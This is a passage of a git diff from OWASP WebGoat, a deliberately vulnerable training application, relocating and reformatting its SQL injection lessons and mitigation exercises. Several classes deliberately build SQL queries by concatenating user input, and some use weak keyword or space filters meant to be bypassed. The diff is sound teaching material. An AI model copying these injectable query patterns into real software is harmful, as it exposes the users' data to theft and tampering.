org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint.8.1", + "SqlStringInjectionHint.8.2", + "SqlStringInjectionHint.8.3", + "SqlStringInjectionHint.8.4", + "SqlStringInjectionHint.8.5" + }) +public class SqlInjectionLesson8 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson8(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/attack8") + @ResponseBody + public AttackResult completed(@RequestParam String name, @RequestParam String auth_tan) { + return injectableQueryConfidentiality(name, auth_tan); + } + + protected AttackResult injectableQueryConfidentiality(String name, String auth_tan) { + StringBuilder output = new StringBuilder(); + String query = + "SELECT * FROM employees WHERE last_name = '" + + name + + "' AND auth_tan = '" + + auth_tan + + "'"; + + try (Connection connection = dataSource.getConnection()) { + try { + Statement statement = + connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE); + log(connection, query); + ResultSet results = statement.executeQuery(query); + + if (results.getStatement() != null) { + if (results.first()) { + output.append(generateTable(results)); + results.last(); + + if (results.getRow() > 1) { + // more than one record, the user succeeded + return success(this) + .feedback("sql-injection.8.success") + .output(output.toString()) + .build(); + } else { + // only one record + return failed(this).feedback("sql-injection.8.one").output(output.toString()).build(); + } + + } else { + // no results + return failed(this).feedback("sql-injection.8.no.results").build(); + } + } else { + return failed(this).build(); + } + } catch (SQLException e) { + return failed(this) + .output("
") + .build(); + } + + } catch (Exception e) { + return failed(this) + .output("
") + .build(); + } + } + + public static String generateTable(ResultSet results) throws SQLException { + ResultSetMetaData resultsMetaData = results.getMetaData(); + int numColumns = resultsMetaData.getColumnCount(); + results.beforeFirst(); + StringBuilder table = new StringBuilder(); + table.append(""); + + if (results.next()) { + table.append(""); + for (int i = 1; i < (numColumns + 1); i++) { + table.append(""); + } + table.append(""); + + results.beforeFirst(); + while (results.next()) { + table.append(""); + for (int i = 1; i < (numColumns + 1); i++) { + table.append(""); + } + table.append(""); + } + + } else { + table.append("Query Successful; however no data was returned from this query."); + } + + table.append("
" + resultsMetaData.getColumnName(i) + "
" + results.getString(i) + "
"); + return (table.toString()); + } + + public static void log(Connection connection, String action) { + action = action.replace('\'', '"'); + Calendar cal = Calendar.getInstance(); + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String time = sdf.format(cal.getTime()); + + String logQuery = + "INSERT INTO access_log (time, action) VALUES ('" + time + "', '" + action + "')"; + + try { + Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE); + statement.executeUpdate(logQuery); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson9.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson9.java new file mode 100644 index 000000000..3df08175a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson9.java @@ -0,0 +1,128 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import static org.hsqldb.jdbc.JDBCResultSet.CONCUR_UPDATABLE; +import static org.hsqldb.jdbc.JDBCResultSet.TYPE_SCROLL_SENSITIVE; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint.9.1", + "SqlStringInjectionHint.9.2", + "SqlStringInjectionHint.9.3", + "SqlStringInjectionHint.9.4", + "SqlStringInjectionHint.9.5" + }) +public class SqlInjectionLesson9 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson9(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/attack9") + @ResponseBody + public AttackResult completed(@RequestParam String name, @RequestParam String auth_tan) { + return injectableQueryIntegrity(name, auth_tan); + } + + protected AttackResult injectableQueryIntegrity(String name, String auth_tan) { + StringBuilder output = new StringBuilder(); + String query = + "SELECT * FROM employees WHERE last_name = '" + + name + + "' AND auth_tan = '" + + auth_tan + + "'"; + try (Connection connection = dataSource.getConnection()) { + try { + Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE); + SqlInjectionLesson8.log(connection, query); + ResultSet results = statement.executeQuery(query); + var test = results.getRow() != 0; + if (results.getStatement() != null) { + if (results.first()) { + output.append(SqlInjectionLesson8.generateTable(results)); + } else { + // no results + return failed(this).feedback("sql-injection.8.no.results").build(); + } + } + } catch (SQLException e) { + System.err.println(e.getMessage()); + return failed(this) + .output("
") + .build(); + } + + return checkSalaryRanking(connection, output); + + } catch (Exception e) { + System.err.println(e.getMessage()); + return failed(this) + .output("
") + .build(); + } + } + + private AttackResult checkSalaryRanking(Connection connection, StringBuilder output) { + try { + String query = "SELECT * FROM employees ORDER BY salary DESC"; + try (Statement statement = + connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE); ) { + ResultSet results = statement.executeQuery(query); + + results.first(); + // user completes lesson if John Smith is the first in the list + if ((results.getString(2).equals("John")) && (results.getString(3).equals("Smith"))) { + output.append(SqlInjectionLesson8.generateTable(results)); + return success(this) + .feedback("sql-injection.9.success") + .output(output.toString()) + .build(); + } else { + return failed(this).feedback("sql-injection.9.one").output(output.toString()).build(); + } + } + } catch (SQLException e) { + return failed(this) + .output("
") + .build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/Servers.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/Servers.java new file mode 100644 index 000000000..083e57061 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/Servers.java @@ -0,0 +1,93 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.mitigation; + +import java.util.ArrayList; +import java.util.List; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.LessonDataSource; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 6/13/17. + */ +@RestController +@RequestMapping("SqlInjectionMitigations/servers") +@Slf4j +public class Servers { + + private final LessonDataSource dataSource; + + @AllArgsConstructor + @Getter + private class Server { + + private String id; + private String hostname; + private String ip; + private String mac; + private String status; + private String description; + } + + public Servers(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @GetMapping(produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public List sort(@RequestParam String column) throws Exception { + List servers = new ArrayList<>(); + + try (var connection = dataSource.getConnection()) { + try (var statement = + connection.prepareStatement( + "select id, hostname, ip, mac, status, description from SERVERS where status <> 'out" + + " of order' order by " + + column)) { + try (var rs = statement.executeQuery()) { + while (rs.next()) { + Server server = + new Server( + rs.getString(1), + rs.getString(2), + rs.getString(3), + rs.getString(4), + rs.getString(5), + rs.getString(6)); + servers.add(server); + } + } + } + } + return servers; + } +} diff --git a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson10a.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10a.java similarity index 53% rename from webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson10a.java rename to src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10a.java index d590e88f3..fbe551427 100644 --- a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson10a.java +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10a.java @@ -20,12 +20,12 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.sql_injection.mitigation; +package org.owasp.webgoat.lessons.sqlinjection.mitigation; import lombok.extern.slf4j.Slf4j; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentHints; -import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; @@ -33,28 +33,38 @@ import org.springframework.web.bind.annotation.RestController; @RestController @Slf4j -@AssignmentHints(value = {"SqlStringInjectionHint-mitigation-10a-1", "SqlStringInjectionHint-mitigation-10a-2"}) +@AssignmentHints( + value = {"SqlStringInjectionHint-mitigation-10a-1", "SqlStringInjectionHint-mitigation-10a-2"}) public class SqlInjectionLesson10a extends AssignmentEndpoint { - private String[] results = {"getConnection", "PreparedStatement", "prepareStatement", "?", "?", "setString", "setString"}; + private String[] results = { + "getConnection", "PreparedStatement", "prepareStatement", "?", "?", "setString", "setString" + }; - @PostMapping("/SqlInjectionMitigations/attack10a") - @ResponseBody - public AttackResult completed(@RequestParam String field1, @RequestParam String field2, @RequestParam String field3, @RequestParam String field4, @RequestParam String field5, @RequestParam String field6, @RequestParam String field7) { - String[] userInput = {field1, field2, field3, field4, field5, field6, field7}; - int position = 0; - boolean completed = false; - for (String input : userInput) { - if (input.toLowerCase().contains(this.results[position].toLowerCase())) { - completed = true; - } else { - return failed(this).build(); - } - position++; - } - if (completed) { - return success(this).build(); - } + @PostMapping("/SqlInjectionMitigations/attack10a") + @ResponseBody + public AttackResult completed( + @RequestParam String field1, + @RequestParam String field2, + @RequestParam String field3, + @RequestParam String field4, + @RequestParam String field5, + @RequestParam String field6, + @RequestParam String field7) { + String[] userInput = {field1, field2, field3, field4, field5, field6, field7}; + int position = 0; + boolean completed = false; + for (String input : userInput) { + if (input.toLowerCase().contains(this.results[position].toLowerCase())) { + completed = true; + } else { return failed(this).build(); + } + position++; } + if (completed) { + return success(this).build(); + } + return failed(this).build(); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10b.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10b.java new file mode 100644 index 000000000..325d376bb --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10b.java @@ -0,0 +1,154 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.mitigation; + +import java.io.IOException; +import java.net.URI; +import java.util.Arrays; +import java.util.List; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import javax.tools.Diagnostic; +import javax.tools.DiagnosticCollector; +import javax.tools.JavaCompiler; +import javax.tools.JavaFileObject; +import javax.tools.SimpleJavaFileObject; +import javax.tools.StandardJavaFileManager; +import javax.tools.ToolProvider; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint-mitigation-10b-1", + "SqlStringInjectionHint-mitigation-10b-2", + "SqlStringInjectionHint-mitigation-10b-3", + "SqlStringInjectionHint-mitigation-10b-4", + "SqlStringInjectionHint-mitigation-10b-5" + }) +public class SqlInjectionLesson10b extends AssignmentEndpoint { + + @PostMapping("/SqlInjectionMitigations/attack10b") + @ResponseBody + public AttackResult completed(@RequestParam String editor) { + try { + if (editor.isEmpty()) return failed(this).feedback("sql-injection.10b.no-code").build(); + + editor = editor.replaceAll("\\<.*?>", ""); + + String regexSetsUpConnection = "(?=.*getConnection.*)"; + String regexUsesPreparedStatement = "(?=.*PreparedStatement.*)"; + String regexUsesPlaceholder = "(?=.*\\=\\?.*|.*\\=\\s\\?.*)"; + String regexUsesSetString = "(?=.*setString.*)"; + String regexUsesExecute = "(?=.*execute.*)"; + String regexUsesExecuteUpdate = "(?=.*executeUpdate.*)"; + + String codeline = editor.replace("\n", "").replace("\r", ""); + + boolean setsUpConnection = this.check_text(regexSetsUpConnection, codeline); + boolean usesPreparedStatement = this.check_text(regexUsesPreparedStatement, codeline); + boolean usesSetString = this.check_text(regexUsesSetString, codeline); + boolean usesPlaceholder = this.check_text(regexUsesPlaceholder, codeline); + boolean usesExecute = this.check_text(regexUsesExecute, codeline); + boolean usesExecuteUpdate = this.check_text(regexUsesExecuteUpdate, codeline); + + boolean hasImportant = + (setsUpConnection + && usesPreparedStatement + && usesPlaceholder + && usesSetString + && (usesExecute || usesExecuteUpdate)); + List hasCompiled = this.compileFromString(editor); + + if (hasImportant && hasCompiled.size() < 1) { + return success(this).feedback("sql-injection.10b.success").build(); + } else if (hasCompiled.size() > 0) { + String errors = ""; + for (Diagnostic d : hasCompiled) { + errors += d.getMessage(null) + "
"; + } + return failed(this).feedback("sql-injection.10b.compiler-errors").output(errors).build(); + } else { + return failed(this).feedback("sql-injection.10b.failed").build(); + } + } catch (Exception e) { + return failed(this).output(e.getMessage()).build(); + } + } + + private List compileFromString(String s) { + JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); + DiagnosticCollector diagnosticsCollector = new DiagnosticCollector(); + StandardJavaFileManager fileManager = + compiler.getStandardFileManager(diagnosticsCollector, null, null); + JavaFileObject javaObjectFromString = getJavaFileContentsAsString(s); + Iterable fileObjects = Arrays.asList(javaObjectFromString); + JavaCompiler.CompilationTask task = + compiler.getTask(null, fileManager, diagnosticsCollector, null, null, fileObjects); + Boolean result = task.call(); + List diagnostics = diagnosticsCollector.getDiagnostics(); + return diagnostics; + } + + private SimpleJavaFileObject getJavaFileContentsAsString(String s) { + StringBuilder javaFileContents = + new StringBuilder( + "import java.sql.*; public class TestClass { static String DBUSER; static String DBPW;" + + " static String DBURL; public static void main(String[] args) {" + + s + + "}}"); + JavaObjectFromString javaFileObject = null; + try { + javaFileObject = new JavaObjectFromString("TestClass.java", javaFileContents.toString()); + } catch (Exception exception) { + exception.printStackTrace(); + } + return javaFileObject; + } + + class JavaObjectFromString extends SimpleJavaFileObject { + private String contents = null; + + public JavaObjectFromString(String className, String contents) throws Exception { + super(new URI(className), Kind.SOURCE); + this.contents = contents; + } + + public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException { + return contents; + } + } + + private boolean check_text(String regex, String text) { + Pattern p = Pattern.compile(regex, Pattern.CASE_INSENSITIVE); + Matcher m = p.matcher(text); + if (m.find()) return true; + else return false; + } +} diff --git a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson13.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson13.java similarity index 52% rename from webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson13.java rename to src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson13.java index bf3d9d568..453f0e3e1 100644 --- a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson13.java +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson13.java @@ -20,49 +20,55 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.sql_injection.mitigation; - -import lombok.extern.slf4j.Slf4j; -import org.owasp.webgoat.LessonDataSource; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentHints; -import org.owasp.webgoat.assignments.AttackResult; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.RequestParam; -import org.springframework.web.bind.annotation.ResponseBody; -import org.springframework.web.bind.annotation.RestController; +package org.owasp.webgoat.lessons.sqlinjection.mitigation; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController -@AssignmentHints(value = {"SqlStringInjectionHint-mitigation-13-1", "SqlStringInjectionHint-mitigation-13-2", "SqlStringInjectionHint-mitigation-13-3", "SqlStringInjectionHint-mitigation-13-4"}) +@AssignmentHints( + value = { + "SqlStringInjectionHint-mitigation-13-1", + "SqlStringInjectionHint-mitigation-13-2", + "SqlStringInjectionHint-mitigation-13-3", + "SqlStringInjectionHint-mitigation-13-4" + }) @Slf4j public class SqlInjectionLesson13 extends AssignmentEndpoint { - private final LessonDataSource dataSource; + private final LessonDataSource dataSource; - public SqlInjectionLesson13(LessonDataSource dataSource) { - this.dataSource = dataSource; - } + public SqlInjectionLesson13(LessonDataSource dataSource) { + this.dataSource = dataSource; + } - @PostMapping("/SqlInjectionMitigations/attack12a") - @ResponseBody - public AttackResult completed(@RequestParam String ip) { - try (Connection connection = dataSource.getConnection(); - PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip = ? and hostname = ?")) { - preparedStatement.setString(1, ip); - preparedStatement.setString(2, "webgoat-prd"); - ResultSet resultSet = preparedStatement.executeQuery(); - if (resultSet.next()) { - return success(this).build(); - } - return failed(this).build(); - } catch (SQLException e) { - log.error("Failed", e); - return (failed(this).build()); - } + @PostMapping("/SqlInjectionMitigations/attack12a") + @ResponseBody + public AttackResult completed(@RequestParam String ip) { + try (Connection connection = dataSource.getConnection(); + PreparedStatement preparedStatement = + connection.prepareStatement("select ip from servers where ip = ? and hostname = ?")) { + preparedStatement.setString(1, ip); + preparedStatement.setString(2, "webgoat-prd"); + ResultSet resultSet = preparedStatement.executeQuery(); + if (resultSet.next()) { + return success(this).build(); + } + return failed(this).build(); + } catch (SQLException e) { + log.error("Failed", e); + return (failed(this).build()); } -} \ No newline at end of file + } +} diff --git a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionMitigations.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionMitigations.java similarity index 78% rename from webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionMitigations.java rename to src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionMitigations.java index c69721f17..8ed3e0c1b 100644 --- a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionMitigations.java +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionMitigations.java @@ -20,21 +20,21 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.sql_injection.mitigation; +package org.owasp.webgoat.lessons.sqlinjection.mitigation; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class SqlInjectionMitigations extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.INJECTION; - } + @Override + public Category getDefaultCategory() { + return Category.A3; + } - @Override - public String getTitle() { - return "3.sql.mitigation.title"; - } + @Override + public String getTitle() { + return "3.sql.mitigation.title"; + } } diff --git a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidation.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidation.java similarity index 55% rename from webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidation.java rename to src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidation.java index 0bfa5baf3..4cfec6337 100644 --- a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidation.java +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidation.java @@ -1,4 +1,3 @@ - /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * @@ -21,35 +20,40 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.sql_injection.mitigation; +package org.owasp.webgoat.lessons.sqlinjection.mitigation; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentHints; -import org.owasp.webgoat.assignments.AttackResult; -import org.owasp.webgoat.sql_injection.advanced.SqlInjectionLesson6a; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.sqlinjection.advanced.SqlInjectionLesson6a; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; - @RestController -@AssignmentHints(value = {"SqlOnlyInputValidation-1", "SqlOnlyInputValidation-2", "SqlOnlyInputValidation-3"}) +@AssignmentHints( + value = {"SqlOnlyInputValidation-1", "SqlOnlyInputValidation-2", "SqlOnlyInputValidation-3"}) public class SqlOnlyInputValidation extends AssignmentEndpoint { - private final SqlInjectionLesson6a lesson6a; + private final SqlInjectionLesson6a lesson6a; - public SqlOnlyInputValidation(SqlInjectionLesson6a lesson6a) { - this.lesson6a = lesson6a; - } + public SqlOnlyInputValidation(SqlInjectionLesson6a lesson6a) { + this.lesson6a = lesson6a; + } - @PostMapping("/SqlOnlyInputValidation/attack") - @ResponseBody - public AttackResult attack(@RequestParam("userid_sql_only_input_validation") String userId) { - if (userId.contains(" ")) { - return failed(this).feedback("SqlOnlyInputValidation-failed").build(); - } - AttackResult attackResult = lesson6a.injectableQuery(userId); - return new AttackResult(attackResult.isLessonCompleted(), attackResult.getFeedback(), attackResult.getOutput(), getClass().getSimpleName(), true); + @PostMapping("/SqlOnlyInputValidation/attack") + @ResponseBody + public AttackResult attack(@RequestParam("userid_sql_only_input_validation") String userId) { + if (userId.contains(" ")) { + return failed(this).feedback("SqlOnlyInputValidation-failed").build(); } + AttackResult attackResult = lesson6a.injectableQuery(userId); + return new AttackResult( + attackResult.isLessonCompleted(), + attackResult.getFeedback(), + attackResult.getOutput(), + getClass().getSimpleName(), + true); + } } diff --git a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidationOnKeywords.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidationOnKeywords.java similarity index 51% rename from webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidationOnKeywords.java rename to src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidationOnKeywords.java index c6015ada9..3a324bc65 100644 --- a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidationOnKeywords.java +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidationOnKeywords.java @@ -1,4 +1,3 @@ - /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * @@ -21,36 +20,46 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.sql_injection.mitigation; +package org.owasp.webgoat.lessons.sqlinjection.mitigation; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentHints; -import org.owasp.webgoat.assignments.AttackResult; -import org.owasp.webgoat.sql_injection.advanced.SqlInjectionLesson6a; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.sqlinjection.advanced.SqlInjectionLesson6a; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; - @RestController -@AssignmentHints(value = {"SqlOnlyInputValidationOnKeywords-1", "SqlOnlyInputValidationOnKeywords-2", "SqlOnlyInputValidationOnKeywords-3"}) +@AssignmentHints( + value = { + "SqlOnlyInputValidationOnKeywords-1", + "SqlOnlyInputValidationOnKeywords-2", + "SqlOnlyInputValidationOnKeywords-3" + }) public class SqlOnlyInputValidationOnKeywords extends AssignmentEndpoint { - private final SqlInjectionLesson6a lesson6a; + private final SqlInjectionLesson6a lesson6a; - public SqlOnlyInputValidationOnKeywords(SqlInjectionLesson6a lesson6a) { - this.lesson6a = lesson6a; - } + public SqlOnlyInputValidationOnKeywords(SqlInjectionLesson6a lesson6a) { + this.lesson6a = lesson6a; + } - @PostMapping("/SqlOnlyInputValidationOnKeywords/attack") - @ResponseBody - public AttackResult attack(@RequestParam("userid_sql_only_input_validation_on_keywords") String userId) { - userId = userId.toUpperCase().replace("FROM", "").replace("SELECT", ""); - if (userId.contains(" ")) { - return failed(this).feedback("SqlOnlyInputValidationOnKeywords-failed").build(); - } - AttackResult attackResult = lesson6a.injectableQuery(userId); - return new AttackResult(attackResult.isLessonCompleted(), attackResult.getFeedback(), attackResult.getOutput(), getClass().getSimpleName(), true); + @PostMapping("/SqlOnlyInputValidationOnKeywords/attack") + @ResponseBody + public AttackResult attack( + @RequestParam("userid_sql_only_input_validation_on_keywords") String userId) { + userId = userId.toUpperCase().replace("FROM", "").replace("SELECT", ""); + if (userId.contains(" ")) { + return failed(this).feedback("SqlOnlyInputValidationOnKeywords-failed").build(); } + AttackResult attackResult = lesson6a.injectableQuery(userId); + return new AttackResult( + attackResult.isLessonCompleted(), + attackResult.getFeedback(), + attackResult.getOutput(), + getClass().getSimpleName(), + true); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRF.java b/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRF.java new file mode 100644 index 000000000..7a4d788d2 --- /dev/null +++ 